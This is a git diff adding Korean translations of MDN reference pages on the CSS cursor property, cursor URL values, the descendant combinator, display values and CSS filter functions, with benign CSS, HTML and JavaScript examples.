+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
카테고리CSS 값예제설명
일반auto사용자 에이전트가 현재 맥락에 맞춰 표시할 커서를 결정. 예를 들어 글씨 위에서는 text를 사용합니다.
defaultdefault.gif플랫폼에 따라 다른 기본 커서. 보통 화살표입니다.
none커서 없음.
링크와 상태context-menucontext-menu.png콘텍스트 메뉴 사용 가능.
helphelp.gif도움말 사용 가능.
pointerpointer.gif링크를 나타내는 포인터. 보통 한 쪽을 가리키는 손입니다.
progressprogress.gif프로그램이 백그라운드에서 작업 중이지만, 사용자가 인터페이스와 상호작용할 수 있음. (wait과 반대)
waitwait.gif프로그램이 작업 중이고, 사용자가 인터페이스와 상호작용할 수 없음. (progress와 반대) 간혹 모래시계나 시계모양 그림을 사용합니다.
선택cellcell.gif표의 칸이나 여러 칸을 선택할 수 있음.
crosshaircrosshair.gif십자 커서. 종종 비트맵 선택에 사용합니다.
texttext.gif글씨 선택 가능. 보통 I빔 모양입니다.
vertical-textvertical-text.gif세로쓰기 글씨 선택 가능. 보통 옆으로 누운 I빔 모양입니다.
드래그 앤 드롭aliasalias.gif별칭이나 바로가기를 만드는 중.
copycopy.gif복사하는 중.
movemove.gif움직이는 중.
no-dropno-drop.gif현재 위치에 놓을 수 없음.
+ {{bug("275173")}}: Windows와 Mac OS X에서 no-dropnot-allowed와 같습니다.
not-allowednot-allowed.gif요청한 행동을 수행할 수 없음.
grabgrab.gif잡을 수 있음. (잡아서 이동)
grabbinggrabbing.gif잡고 있음. (잡아서 이동)
크기 조절과 스크롤all-scrollall-scroll.gif모든 방향으로 이동 가능. (패닝)
+ {{bug("275174")}}: Windows에서 all-scrollmove와 같습니다.
col-resizecol-resize.gif항목/행의 크기를 좌우로 조절할 수 있음. 종종 좌우 화살표의 가운데를 세로로 분리한 모양을 사용합니다.
row-resizerow-resize.gif항목/열의 크기를 상하로 조절할 수 있음. 종종 상하 화살표의 가운데를 가로로 분리한 모양을 사용합니다.
n-resizeExample of a resize towards the top cursor움직일 수 있는 모서리. 예를 들어, se-resize 커서는 움직임이 사각형의 동남쪽에서 시작할 때 사용합니다. 어떤 환경에선 동일한 방향의 양방향 화살표를 대신 보여줍니다. 즉 n-resizes-resizens-resize와 같습니다.
e-resizeExample of a resize towards the right cursor
s-resizeExample of a resize towards the bottom cursor
w-resizeExample of a resize towards the left cursor
ne-resizeExample of a resize towards the top-right corner cursor
nw-resizeExample of a resize towards the top-left corner cursor
se-resizeExample of a resize towards the bottom-right corner cursor
sw-resizeExample of a resize towards the bottom-left corner cursor
ew-resize3-resize.gif양방향 크기 조절 커서.
ns-resize6-resize.gif
nesw-resize1-resize.gif
nwse-resize4-resize.gif
확대와 축소zoom-inzoom-in.gif +

확대/축소할 수 있음.

+
zoom-outzoom-out.gif
+
+
+ +

형식 구문

+ +
{{csssyntax}}
+
+ +

사용 일람

+ +

비록 명세에 cursor의 크기 제한은 정해져있지 않지만, 각각의 {{Glossary("user agent", "사용자 에이전트")}}가 별도로 최대 크기를 규정할 수도 있습니다. 이 때, 크기를 넘어가는 이미지를 사용할 경우, 보통 사용자 에이전트는 해당 이미지를 완전히 무시합니다.

+ +

{{anch("브라우저 호환성")}} 항목에서 커서 크기 제한을 찾아보세요.

+ +

예제

+ +
.foo {
+  cursor: crosshair;
+}
+
+.bar {
+  cursor: zoom-in;
+}
+
+/* URL을 쓸 땐 키워드 값 필수 */
+.baz {
+  cursor: url("hyper.cur"), auto;
+}
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Basic UI', '#cursor', 'cursor')}}{{Spec2('CSS3 Basic UI')}}Addition of several keywords and the positioning syntax for url().
{{SpecName('CSS2.1', 'ui.html#cursor-props', 'cursor')}}{{Spec2('CSS2.1')}}Initial definition.
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +
{{Compat("css.properties.cursor")}}
+ +

같이 보기

+ + diff --git a/files/ko/web/css/cursor/using_url_values_for_the_cursor_property/index.html b/files/ko/web/css/cursor/using_url_values_for_the_cursor_property/index.html new file mode 100644 index 0000000000..416718c17f --- /dev/null +++ b/files/ko/web/css/cursor/using_url_values_for_the_cursor_property/index.html @@ -0,0 +1,70 @@ +--- +title: cursor 속성값에 URL 사용 +slug: Web/CSS/cursor/Using_URL_values_for_the_cursor_property +tags: + - CSS + - CSS_2.1 + - Cross-browser_Development + - Web Development +translation_of: Web/CSS/CSS_Basic_User_Interface/Using_URL_values_for_the_cursor_property +--- +

Gecko 1.8 (Firefox 1.5, SeaMonkey 1.0)은 URL 값을 CSS2 커서 속성값으로 사용하는 것을 지원합니다. 이 기능은 마우스 커서 모양으로 임의의 이미지 를 지정할 수 있게 해줍니다 — Gecko가 지원하는 모든 이미지 포맷을 사용할 수 있습니다.

+ +

문법

+ +

이 속성의 문법은 다음과 같습니다:

+ +
cursor: [<url>,]* keyword;
+
+ +

즉, URL을 지정하지 않거나 혹은 다수의 콤마로 분리된 URL값들을 지정할 수 있으며, 이 값들 뒤엔 반드시 CSS규정에 정의된 autopointer같은 키워드들이 따라와야 합니다.

+ +

예를 들면, 다음과 같은 값이 지정될 수 있습니다:

+ +
cursor: url(foo.cur), url(http://www.example.com/bar.gif), auto;
+
+ +

우선 foo.cur의 로딩이 시도 되고, 만약 이 파일이 없거나 어떤 다른 이유로 파일이 부적합할 경우, bar.gif를 로드하게 되고 이것 마저 사용할 수 없게 되면, auto가 사용될 것입니다.

+ +

커서 값에 대한 CSS3 syntax 지원은 Gecko 1.8beta3에 부가되었으며, 따라서 Firefox 1.5에서 사용할 수 있습니다. 이 기능은 커서 이미지의 바운더리에 부착시킬 커서의 핫스팟의 좌표를 지정할 수 있게 해줍니다. 만일 아무것도 지정되지 않을 경우, 핫스팟의 좌표는 이미지 파일 자체에서 (CUR 와 XBN 파일의 경우) 읽어 들이거나 이미지의 좌측 상단 코너로 지정됩니다. CSS3 문법의 예문은 다음과 같습니다:

+ +
cursor: url(foo.png) 4 12, auto;
+
+ +

첫번째 숫자는 x좌표이며, 두번째 숫자는 y좌표입니다. 이 예문은 이미지의 왼쪽 위 (0,0)로부터 (4, 12)의 위치의 픽셀을 핫스팟으로 지정할 것입니다.

+ +

제약 사항

+ +

Gecko가 지원하는 모든 이미지 포팻이 사용가능합니다. 즉, BMP, JPG, CUR, GIF 등의 이미지를 사용할 수 있습니다. 그러나, ANI는 지원되지 않습니다. animated GIF 이미지로 지정해도, 커서는 animated 커서가 되지는 않을 것입니다. 이런 문제점은 향후 릴리즈에서 제거될 것입니다.

+ +

Gecko는 커서의 크기에 관해서 어떤 제약을 두고 있지는 않습니다만, 다른 운영체제나 플랫폼들과의 최대의 호환성을 유지하기 위해 커서 크기를 32x32로 제한할것을 권장합니다. 특히, 이보다 큰 커서는 윈도우 9x (95, 98, ME) 에서 작동하지 않을 것입니다.

+ +

투명 커서는 XP보다 이전 윈도우 릴리즈에서는 지원되지 않으며, 이는 운영체제의 제약사항입니다. 투명기능은 모든 플랫폼에서 작동합니다.

+ +

모질라의 윈도우, OS/2 그리고 리눅스(GTK+ 2.4 나 그 이후 버전 사용) 릴리즈에서만 커서로 URL값이 지원됩니다. 다른 플랫폼들에대한 지원은 향후 릴리즈에 추가될 것입니다.(Mac OS: {{ Bug(286304) }}, QNX Neutrino: {{ Bug(286307) }}, XLib: {{ Bug(286309) }}, Qt: {{ Bug(286310) }}, BeOS: {{ Bug(298184) }}, GTK 2.0/2.2: {{ Bug(308536) }})

+ +

다른 브라우저들과의 호환성

+ +

마이크로소프트 인터넷 익스플로러(MSIE)도 cursor속성으로 URL 값을 지원합니다. 그러나, CUR 과 ANI 포맷만을 지원합니다.

+ +

cursor속성 문법도 또한 제약이 덜한 관계로

+ +
cursor: url(foo.cur);
+
+ +

이나

+ +
cursor: url(foo.cur), pointer, url(bar.cur), auto;
+
+ +

와 같은 값도 MSIE에선 작동할 것입니다. 그러나 이런 값은 Gecko에선 작동하지 않을 것입니다. Gecko와의 호환성을 위해서 또 CSS규약에 따라, 항상 URL 리스트를 먼저 나열하시고, 정확히 하나의 키워드 값을 그 뒤에 사용하십시오.

+ +

To-do

+ +
+
To-do: document what MSIE does with CSS 3 hotspot locations
+
+ +

Interwiki Language Links

+ +

{{ languages( { "ja": "ja/Using_URL_values_for_the_cursor_property" } ) }}

diff --git a/files/ko/web/css/descendant_combinator/index.html b/files/ko/web/css/descendant_combinator/index.html new file mode 100644 index 0000000000..2d351f2c8e --- /dev/null +++ b/files/ko/web/css/descendant_combinator/index.html @@ -0,0 +1,108 @@ +--- +title: 자손 결합자 +slug: Web/CSS/Descendant_combinator +tags: + - CSS + - Reference + - Selectors +translation_of: Web/CSS/Descendant_combinator +--- +
{{CSSRef("Selectors")}}
+ +

보통 한 칸의 공백 문자로 표현하는 자손 결합자( )는 두 개의 선택자를 조합하여, 뒤쪽 선택자 요소의 조상(부모, 부모의 부모, 부모의 부모의 부모...)에 앞쪽 선택자 요소가 존재할 경우 선택합니다. 자손 결합자를 활용하는 선택자를 자손 선택자라고 부릅니다.

+ +
/* List items that are descendants of the "my-things" list */
+ul.my-things li {
+  margin: 2em;
+}
+ +

기술적으로, 자손 결합자는 하나 이상의 {{Glossary("CSS")}} 공백 문자이므로 스페이스 외에도 캐리지 리턴, 폼 피드, 새 줄, 탭 문자도 해당합니다. 또한 결합자를 구성하는 공백 문자는 CSS 주석을 임의의 개수만큼 포함할 수 있습니다.

+ +

구문

+ +
selector1 selector2 {
+  /* property declarations */
+}
+ +

예제

+ +

CSS

+ +
li {
+  list-style-type: disc;
+}
+
+li li {
+  list-style-type: circle;
+}
+
+ +

HTML

+ +
<ul>
+  <li>
+    <div>Item 1</div>
+    <ul>
+      <li>Subitem A</li>
+      <li>Subitem B</li>
+    </ul>
+  </li>
+  <li>
+    <div>Item 2</div>
+    <ul>
+      <li>Subitem A</li>
+      <li>Subitem B</li>
+    </ul>
+  </li>
+</ul>
+
+ +

결과

+ +

{{EmbedLiveSample("예제", "100%", 160)}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS4 Selectors", "#descendant-combinators", "descendant combinator")}}{{Spec2("CSS4 Selectors")}}
{{SpecName("CSS3 Selectors", "#descendant-combinators", "descendant combinator")}}{{Spec2("CSS3 Selectors")}}
{{SpecName("CSS2.1", "selector.html#descendant-selectors", "descendant selectors")}}{{Spec2("CSS2.1")}}
{{SpecName("CSS1", "#contextual-selectors", "contextual selectors")}}{{Spec2("CSS1")}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("css.selectors.descendant")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/display-internal/index.html b/files/ko/web/css/display-internal/index.html new file mode 100644 index 0000000000..8aea8a152b --- /dev/null +++ b/files/ko/web/css/display-internal/index.html @@ -0,0 +1,131 @@ +--- +title: +slug: Web/CSS/display-internal +tags: + - CSS + - CSS 데이터 타입 + - CSS 디스플레이 + - display-internal + - 자료형 + - 참조 +translation_of: Web/CSS/display-internal +--- +
{{CSSRef}}
+ +

table과 ruby 같은 몇몇 레이아웃 모델은 복잡한 내부 구조를 가지고 있으며, 자식이나 자손들로 채울 수 있는 다양한 역할을 가지고 있습니다. 이 페이지는 이러한 "내재적인" 디스플레이 값을 정의하며, 이들은 특정 레이아웃 모드 안에서만 의미를 가집니다.

+ +

문법

+ +

유효한 <display-internal> 값들:

+ +
+
table-row-group
+
이 요소는 {{HTMLElement("tbody")}} HTML 요소처럼 동작합니다.
+
table-header-group
+
이 요소는 {{HTMLElement("thead")}} HTML 요소처럼 동작합니다.
+
table-footer-group
+
이 요소는 {{HTMLElement("tfoot")}} HTML 요소처럼 동작합니다.
+
table-row
+
이 요소는 {{HTMLElement("tr")}} HTML 요소처럼 동작합니다.
+
table-cell
+
이 요소는 {{HTMLElement("td")}} HTML 요소처럼 동작합니다.
+
table-column-group
+
이 요소는 {{HTMLElement("colgroup")}} HTML 요소처럼 동작합니다.
+
table-column
+
이 요소는 {{HTMLElement("col")}} HTML 요소처럼 동작합니다.
+
table-caption
+
이 요소는 {{HTMLElement("caption")}} HTML 요소처럼 동작합니다.
+
ruby-base {{Experimental_Inline}}
+
이 요소는 {{HTMLElement("rb")}} HTML 요소처럼 동작합니다.
+
ruby-text {{Experimental_Inline}}
+
이 요소는 {{HTMLElement("rt")}} HTML 요소처럼 동작합니다.
+
ruby-base-container {{Experimental_Inline}}
+
이 요소는 익명의 박스로 만들어지는 {{HTMLElement("rbc")}} HTML 요소처럼 동작합니다.
+
ruby-text-container {{Experimental_Inline}}
+
이 요소는 {{HTMLElement("rtc")}} HTML 요소처럼 동작합니다.
+
+ +

예제

+ +

CSS 테이블의 예시

+ +

다음 예시에서는 CSS 테이블 레이아웃을 이용해 간단한 폼을 배치합니다.

+ +

HTML

+ +
<main>
+  <div>
+    <label for="name">Name</label>
+    <input type="text" id="name" name="name">
+  </div>
+  <div>
+    <label for="age">Age</label>
+    <input type="text" id="age" name="age">
+  </div>
+</main>
+ +

CSS

+ +
main {
+  display: table;
+}
+
+div {
+  display: table-row;
+}
+
+label, input {
+  display: table-cell;
+  margin: 5px;
+}
+ +

결과

+ +

{{EmbedLiveSample('CSS_tables_example', '100%', 100)}}

+ +

사양

+ + + + + + + + + + + + + + +
사양상태
{{SpecName('CSS3 Display', '#typedef-display-internal', 'display-internal')}}{{Spec2('CSS3 Display')}}
+ +

브라우저 호환성

+ + + +

Table 관련 값의 지원

+ +

table, table-cell, table-column, table-column-group, table-footer-group, table-header-group, table-rowtable-row-group

+ +

{{Compat("css.properties.display.table_values", 10)}}

+ +

Ruby 관련 값의 지원

+ +

ruby, ruby-base, ruby-base-container, ruby-textruby-text-container

+ +

{{Compat("css.properties.display.ruby_values", 10)}}

+ +

같이 보기

+ +
    +
  • {{CSSxRef("display")}} +
      +
    • {{CSSxRef("<display-outside>")}}
    • +
    • {{CSSxRef("<display-inside>")}}
    • +
    • {{CSSxRef("<display-listitem>")}}
    • +
    • {{CSSxRef("<display-box>")}}
    • +
    • {{CSSxRef("<display-legacy>")}}
    • +
    +
  • +
diff --git a/files/ko/web/css/display/index.html b/files/ko/web/css/display/index.html new file mode 100644 index 0000000000..559a1bf4a2 --- /dev/null +++ b/files/ko/web/css/display/index.html @@ -0,0 +1,234 @@ +--- +title: display +slug: Web/CSS/display +tags: + - CSS + - CSS Display + - CSS Property + - Reference + - display +translation_of: Web/CSS/display +--- +
{{CSSRef}}
+ +

display CSS 속성은 요소를 블록과 인라인 요소 중 어느 쪽으로 처리할지와 함께, 플로우, 그리드, 플렉스처럼 자식 요소를 배치할 때 사용할 레이아웃을 설정합니다.

+ +

display 속성은, 형식적으로는 요소의 내부와 외부 디스플레이 유형을 설정합니다. 외부 디스플레이 유형은 플로우 레이아웃에 요소가 참여하는 방법을 나타내고, 내부 디스플레이 유형은 자식의 레이아웃 방식을 설정합니다. display의 일부 값은 자신만의 명세를 가지고 있습니다. 이 문서의 끝에서 찾을 수 있는 명세표를 참고하세요.

+ +

구문

+ +

display 속성은 키워드 값을 사용해 지정합니다. 키워드는 6개의 카테고리로 분류할 수 있습니다.

+ +
.container {
+  display: <display-keyword>;
+}
+
+ +

바깥쪽

+ +
+
{{CSSxRef("<display-outside>")}}
+
요소의 외부 디스플레이 유형을 설정하는 키워드입니다. 외부 디스플레이 유형은 플로우 레이아웃에서 요소 자신의 역할과 마찬가지입니다.
+
+ +

{{page("/ko/docs/Web/CSS/display-outside", "Syntax")}}

+ +

안쪽

+ +
+
{{CSSxRef("<display-inside>")}}
+
요소의 내부 디스플레이 유형을 설정하는 키워드입니다. 내부 디스플레이 유형은 대체 요소가 아닌 요소의 콘텐츠 서식과 배치 방법을 나타냅니다.
+
+ +

{{page("/ko/docs/Web/CSS/display-inside", "Syntax")}}

+ +

리스트 아이템

+ +
+
{{cssxref("<display-listitem>")}}
+
요소가 콘텐츠 블록 박스를 생성하고, 리스트 아이템 인라인 박스를 분리합니다.
+
+ +

{{page("/ko/docs/Web/CSS/display-listitem", "Syntax")}}

+ +

내부적

+ +
+
{{cssxref("<display-internal>")}}
+
table, ruby 등 일부 레이아웃 모델은 복잡한 내부 구조를 가지며, 자식과 자손이 채워넣을 여러가지 역할을 지닙니다. 이 항목은 그런 특정 레이아웃 모드에서만 의미를 갖는 "내부적"인 값을 정의합니다.
+
+ +

{{page("/ko/docs/Web/CSS/display-internal", "Syntax")}}

+ +

박스

+ +
+
{{CSSxRef("<display-box>")}}
+
요소의 디스플레이 박스를 생성해야 하는지 지정합니다.
+
+ +

{{page("/ko/docs/Web/CSS/display-box", "Syntax")}}

+ +

레거시

+ +
+
{{CSSxRef("<display-legacy>")}}
+
CSS 2는 display 속성에 단일 키워드만 사용했으므로, 같은 레이아웃 모드를 위해 블록 레벨과 인라인 레벨 키워드를 각각 필요로 했습니다.
+
+ +

{{page("/ko/docs/Web/CSS/display-legacy", "Syntax")}}

+ +

The Level 3 specification details two values for the display property — enabling the specification of the outer and inner display type explicitly — but this is not yet well-supported by browsers.

+ +

The display-legacy methods allow the same results with single keyword values, and should be favoured by developers until the two keyword values are better supported. For example, using two values you might specify an inline flex container as follows:

+ +
.container {
+  display: inline flex;
+}
+ +

This can currently be specified using a single value.

+ +
.container {
+  display: inline-flex;
+}
+
+ +

전역

+ +
display: inherit;
+display: initial;
+display: unset;
+
+ +

안내서 및 예제

+ +

The individual pages for the different types of value that display can have set on it feature multiple examples of those values in action — see the {{anch("Syntax")}} section. In addition, see the following material, which covers the various values of display in depth.

+ +

CSS Flow Layout (display: block, display: inline)

+ + + +

display: flex

+ + + +

display: grid

+ + + +

접근성 고려사항

+ +

display: none

+ +

Using a display value of none on an element will remove it from the accessibility tree. This will cause the element and all its descendant elements to no longer be announced by screen reading technology.

+ +

If you want to visually hide the element, a more accessible alternative is to use a combination of properties to remove it visually from the screen but keep it parseable by assistive technology such as screen readers.

+ +

display: contents

+ +

Current implementations in most browsers will remove from the accessibility tree any element with a display value of contents (but descendants will remain). This will cause the element itself to no longer be announced by screen reading technology. This is incorrect behavior according to the CSS specification.

+ + + +

Tables

+ +

Changing the display value of a {{HTMLElement("table")}} element to block, grid, or flex will alter its representation in the accessibility tree. This will cause the table to no longer be announced properly by screen reading technology.

+ + + +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Display', '#the-display-properties', 'display')}}{{Spec2('CSS3 Display')}}Added run-in, flow, flow-root, contents, and multi-keyword values.
{{SpecName('CSS3 Ruby', '#ruby-display', 'display')}}{{Spec2('CSS3 Ruby')}}Added ruby, ruby-base, ruby-text, ruby-base-container, and ruby-text-container.
{{SpecName('CSS3 Grid', '#grid-containers', 'display')}}{{Spec2('CSS3 Grid')}}Added the grid box model values.
{{SpecName('CSS3 Flexbox', '#flex-containers', 'display')}}{{Spec2('CSS3 Flexbox')}}Added the flexible box model values.
{{SpecName('CSS2.1', 'visuren.html#display-prop', 'display')}}{{Spec2('CSS2.1')}}Added the table model values and inline-block.
{{SpecName('CSS1', '#display', 'display')}}{{Spec2('CSS1')}}Initial definition. Basic values: none, block, inline, and list-item.
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.display", 10)}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/filter-function/blur()/index.html b/files/ko/web/css/filter-function/blur()/index.html new file mode 100644 index 0000000000..e995c42c68 --- /dev/null +++ b/files/ko/web/css/filter-function/blur()/index.html @@ -0,0 +1,40 @@ +--- +title: blur() +slug: Web/CSS/filter-function/blur() +tags: + - CSS + - CSS Function + - Filter Effects + - Reference +translation_of: Web/CSS/filter-function/blur() +--- +
{{cssref}}
+ +

blur() CSS 함수는 주어진 이미지에 가우시안 블러를 적용합니다. 반환 값은 {{cssxref("<filter-function>")}}입니다.

+ +
{{EmbedInteractiveExample("pages/css/function-blur.html")}}
+ + + +

구문

+ +
blur(radius)
+ +

매개변수

+ +
+
radius
+
{{cssxref("<length>")}}로 지정한 블러 효과의 지름. 가우시안 함수의 표준 편차, 즉 화면에 보이는 픽셀의 색상이 어느 범위까지 섞일지를 지정합니다. 따라서 큰 값은 이미지를 더 흐리게 만듭니다. 0은 주어진 입력 결과를 그대로 반환합니다. 보간 시, 누락 값은 0입니다.
+
+ +

예제

+ +
blur(0)        /* 변화 없음 */
+blur(8px)      /* 8px 블러 */
+blur(1.17rem)  /* 1.17rem 블러 */
+ +

같이 보기

+ +
    +
  • {{cssxref("<filter-function>")}}
  • +
diff --git a/files/ko/web/css/filter-function/brightness()/index.html b/files/ko/web/css/filter-function/brightness()/index.html new file mode 100644 index 0000000000..1fe4b03327 --- /dev/null +++ b/files/ko/web/css/filter-function/brightness()/index.html @@ -0,0 +1,41 @@ +--- +title: brightness() +slug: Web/CSS/filter-function/brightness() +tags: + - CSS + - CSS Function + - Filter Effects + - Reference +translation_of: Web/CSS/filter-function/brightness() +--- +
{{cssref}}
+ +

brightness() CSS 함수는 주어진 이미지에 선형 계수를 적용해 더 밝거나 어둡게 만듭니다. 반환 값은 {{cssxref("<filter-function>")}}입니다.

+ +
{{EmbedInteractiveExample("pages/css/function-brightness.html")}}
+ + + +

구문

+ +
brightness(amount)
+ +

매개변수

+ +
+
amount
+
{{cssxref("<number>")}} 또는 {{cssxref("<percentage>")}}로 지정한, 결과물의 밝기. 100% 미만의 값은 이미지를 어둡게 만들고, 100%를 초과하는 값은 밝게 합니다. 0%는 이미지를 완전한 검은색으로 바꾸고 100%는 주어진 입력 이미지를 그대로 반환합니다. 보간 시, 누락 값은 1입니다.
+
+ +

예제

+ +
brightness(0%)   /* 완전한 검정 */
+brightness(0.4)  /* 40% 밝기 */
+brightness(1)    /* 변화 없음 */
+brightness(200%) /* 두 배 밝기 */
+ +

같이 보기

+ +
    +
  • {{cssxref("<filter-function>")}}
  • +
diff --git a/files/ko/web/css/filter-function/contrast()/index.html b/files/ko/web/css/filter-function/contrast()/index.html new file mode 100644 index 0000000000..19828a4bbb --- /dev/null +++ b/files/ko/web/css/filter-function/contrast()/index.html @@ -0,0 +1,41 @@ +--- +title: contrast() +slug: Web/CSS/filter-function/contrast() +tags: + - CSS + - CSS Function + - Filter Effects + - Reference +translation_of: Web/CSS/filter-function/contrast() +--- +
{{cssref}}
+ +

contrast() CSS 함수는 주어진 이미지의 대비를 조절합니다. 반환 값은 {{cssxref("<filter-function>")}}입니다.

+ +
{{EmbedInteractiveExample("pages/css/function-contrast.html")}}
+ + + +

구문

+ +
contrast(amount)
+ +

매개변수

+ +
+
amount
+
{{cssxref("<number>")}} 또는 {{cssxref("<percentage>")}}로 지정한, 결과물의 대비. 100% 미만의 값은 이미지의 대비를 낮추고, 100%를 초과하는 값은 높입니다. 0%는 이미지를 완전히 회색으로 바꾸고 100%는 입력 이미지를 그대로 반환합니다. 보간 시, 누락 값은 1입니다.
+
+ +

예제

+ +
contrast(0)     /* 완전히 회색 */
+contrast(65%)   /* 대비 65% */
+contrast(1)     /* 변화 없음 */
+contrast(200%)  /* 대비 두 배 */
+ +

같이 보기

+ +
    +
  • {{cssxref("<filter-function>")}}
  • +
diff --git a/files/ko/web/css/filter-function/index.html b/files/ko/web/css/filter-function/index.html new file mode 100644 index 0000000000..ee62fc49f6 --- /dev/null +++ b/files/ko/web/css/filter-function/index.html @@ -0,0 +1,210 @@ +--- +title: +slug: Web/CSS/filter-function +tags: + - CSS + - CSS Data Type + - Filter Effects + - Reference +translation_of: Web/CSS/filter-function +--- +
{{cssref}}
+ +

CSS <filter-function> 자료형은 입력 이미지의 모습을 변형할 수 있는 그래픽 효과를 나타냅니다. {{cssxref("filter")}}와 {{cssxref("backdrop-filter")}} 속성에서 사용합니다.

+ +

구문

+ +

<filter-function> 자료형은 다음 목록의 필터 중 하나를 사용해 지정할 수 있습니다. 각 함수는 매개변수를 받아야 하며, 유효하지 않은 값을 전달하면 필터를 적용하지 않습니다.

+ +
+
{{cssxref("filter-function/blur", "blur()")}}
+
이미지를 흐리게 만듭니다.
+
{{cssxref("filter-function/brightness", "brightness()")}}
+
이미지의 밝기를 조절합니다.
+
{{cssxref("filter-function/contrast", "contrast()")}}
+
이미지의 대비를 조절합니다.
+
{{cssxref("filter-function/drop-shadow", "drop-shadow()")}}
+
이미지의 뒤에 그림자를 적용합니다.
+
{{cssxref("filter-function/grayscale", "grayscale()")}}
+
이미지를 흑백으로 변환합니다.
+
{{cssxref("filter-function/hue-rotate", "hue-rotate()")}}
+
이미지의 전체 색조를 조절합니다.
+
{{cssxref("filter-function/invert", "invert()")}}
+
이미지의 색을 반전합니다.
+
{{cssxref("filter-function/opacity", "opacity()")}}
+
이미지의 투명도를 조절합니다.
+
{{cssxref("filter-function/saturate", "saturate()")}}
+
이미지의 채도를 조절합니다.
+
{{cssxref("filter-function/sepia", "sepia()")}}
+
이미지에 세피아 톤을 적용합니다.
+
+ +

예제

+ +

필터 함수 비교

+ +

이 예제는 간단한 그래픽과 함께 여러 가지 필터를 선택할 수 있는 선택 메뉴와, 필터의 값을 조절할 수 있는 슬라이더를 제공합니다. 컨트롤을 조절하면 필터가 실시간으로 변화하므로 각 필터의 효과를 편리하게 알아볼 수 있습니다.

+ +

HTML

+ +
<div></div>
+<ul>
+  <li>
+    <label for="filter-select">필터 함수 선택:</label>
+    <select id="filter-select">
+      <option selected>blur</option>
+      <option>brightness</option>
+      <option>contrast</option>
+      <option>drop-shadow</option>
+      <option>grayscale</option>
+      <option>hue-rotate</option>
+      <option>invert</option>
+      <option>opacity</option>
+      <option>saturate</option>
+      <option>sepia</option>
+    </select>
+  </li>
+  <li>
+    <input type="range"><output></output>
+  </li>
+  <li>
+    <p>Current value: <code></code></p>
+  </li>
+</ul>
+ +

CSS

+ +
div {
+  width: 300px;
+  height: 300px;
+  background: url(https://media.prod.mdn.mozit.cloud/attachments/2020/07/29/17350/3b4892b7e820122ac6dd7678891d4507/firefox.png) no-repeat center;
+}
+
+li {
+  display: flex;
+  align-items: center;
+  justify-content: center;
+  margin-bottom: 20px;
+}
+
+input {
+  width: 60%
+}
+
+output {
+  width: 5%;
+  text-align: center;
+}
+
+select {
+  width: 40%;
+  margin-left: 2px;
+}
+ +

JavaScript

+ +
const selectElem = document.querySelector('select');
+const divElem = document.querySelector('div');
+const slider = document.querySelector('input');
+const output = document.querySelector('output');
+const curValue = document.querySelector('p code');
+
+selectElem.addEventListener('change', () => {
+  setSlider(selectElem.value);
+  setDiv(selectElem.value);
+});
+
+slider.addEventListener('input', () => {
+  setDiv(selectElem.value);
+});
+
+function setSlider(filter) {
+  if(filter === 'blur') {
+    slider.value = 0;
+    slider.min = 0;
+    slider.max = 30;
+    slider.step = 1;
+    slider.setAttribute('data-unit', 'px');
+  } else if(filter === 'brightness' || filter === 'contrast' || filter === 'saturate') {
+    slider.value = 1;
+    slider.min = 0;
+    slider.max = 4;
+    slider.step = 0.05;
+    slider.setAttribute('data-unit', '');
+  } else if(filter === 'drop-shadow') {
+    slider.value = 0;
+    slider.min = -20;
+    slider.max = 40;
+    slider.step = 1;
+    slider.setAttribute('data-unit', 'px');
+  } else if(filter === 'opacity') {
+    slider.value = 1;
+    slider.min = 0;
+    slider.max = 1;
+    slider.step = 0.01;
+    slider.setAttribute('data-unit', '');
+  } else if(filter === 'grayscale' || filter === 'invert' || filter === 'sepia') {
+    slider.value = 0;
+    slider.min = 0;
+    slider.max = 1;
+    slider.step = 0.01;
+    slider.setAttribute('data-unit', '');
+  } else if(filter === 'hue-rotate') {
+    slider.value = 0;
+    slider.min = 0;
+    slider.max = 360;
+    slider.step = 1;
+    slider.setAttribute('data-unit', 'deg');
+  }
+}
+
+function setDiv(filter) {
+  if(filter === 'drop-shadow') {
+    divElem.style.filter = `${selectElem.value}(${Math.round(slider.value)}${slider.getAttribute('data-unit')} ${Math.round(slider.value)}${slider.getAttribute('data-unit')} ${Math.round(Math.abs(slider.value/2))}${slider.getAttribute('data-unit')})`;
+  } else {
+    divElem.style.filter = `${selectElem.value}(${slider.value}${slider.getAttribute('data-unit')}`;
+  }
+
+  updateOutput();
+  updateCurValue();
+}
+
+function updateOutput() {
+  output.textContent = slider.value;
+}
+
+function updateCurValue() {
+  curValue.textContent = `필터: ${divElem.style.filter}`;
+}
+
+setSlider(selectElem.value);
+setDiv(selectElem.value);
+ +

결과

+ +

{{EmbedLiveSample('필터_함수_비교', '100%', 500)}}

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComments
{{ SpecName('Filters 1.0', '#typedef-filter-function', '<filter-function>') }}{{ Spec2('Filters 1.0') }}Initial definition.
+ +

같이 보기

+ +
    +
  • 자료형을 사용하는 속성: {{cssxref("filter")}}, {{cssxref("backdrop-filter")}}
  • +
diff --git a/files/ko/web/css/filter/index.html b/files/ko/web/css/filter/index.html new file mode 100644 index 0000000000..8020311f12 --- /dev/null +++ b/files/ko/web/css/filter/index.html @@ -0,0 +1,1138 @@ +--- +title: filter +slug: Web/CSS/filter +tags: + - CSS + - CSS Property + - Reference + - SVG + - SVG Filter + - 'recipe:css-property' +translation_of: Web/CSS/filter +--- +
{{CSSRef}}
+ +

CSS filter 속성은 흐림 효과나 색상 변형 등 그래픽 효과를 요소에 적용합니다. 보통 필터는 이미지, 배경, 테두리 렌더링을 조정하는 데 쓰입니다.

+ +

